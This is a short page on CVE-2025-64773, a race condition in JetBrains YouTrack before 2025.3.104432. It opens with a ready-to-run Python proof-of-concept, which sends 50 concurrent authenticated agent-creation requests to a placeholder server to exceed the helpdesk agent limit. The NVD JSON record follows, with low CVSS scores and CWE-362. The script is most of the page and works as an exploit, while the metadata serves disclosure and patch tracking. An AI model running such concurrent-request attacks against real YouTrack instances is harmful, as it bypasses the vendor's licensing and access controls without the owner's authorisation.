CVE-2025-64773

# CVE-2025-64773 PoC - Race Condition in JetBrains YouTrack Helpdesk Agent Limit Bypass # This PoC demonstrates the race condition by sending concurrent requests import asyncio import aiohttp import time TARGET_URL = "https://youtrack.example.com/api/helpdesk/agents" AUTH_TOKEN = "your-api-token-here" NUM_CONCURRENT_REQUESTS = 50 async def create_agent(session): """Send a single agent creation request""" headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } payload = { "name": f"Agent_{int(time.time() * 1000)}", "email": f"agent_{int(time.time() * 1000)}@example.com" } try: async with session.post(TARGET_URL, json=payload, headers=headers) as response: return { "status": response.status, "body": await response.json() if response.status == 201 else None } except Exception as e: return {"error": str(e)} async def exploit_race_condition(): """Execute concurrent agent creation requests to exploit the race condition""" async with aiohttp.ClientSession() as session: tasks = [create_agent(session) for _ in range(NUM_CONCURRENT_REQUESTS)] results = await asyncio.gather(*tasks) success_count = sum(1 for r in results if r.get("status") == 201) print(f"Successful agent creations: {success_count}/{NUM_CONCURRENT_REQUESTS}") return results if __name__ == "__main__": print("CVE-2025-64773 Race Condition PoC") print("Target: JetBrains YouTrack < 2025.3.104432") asyncio.run(exploit_race_condition())

{"cve": {"id": "CVE-2025-64773", "sourceIdentifier": "[email protected]", "published": "2025-11-11T16:15:40.260", "lastModified": "2025-12-11T19:16:00.367", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In JetBrains YouTrack before 2025.3.104432 a race condition allowed bypass of helpdesk Agent limit"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-362"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jetbrains:youtrack:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.3.104432", "matchCriteriaId": "F181D469-08FC-4F78-BE17-4EAF661A8EA0"}]}]}], "references": [{"url": "https://www.jetbrains.com/privacy-security/issues-fixed/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}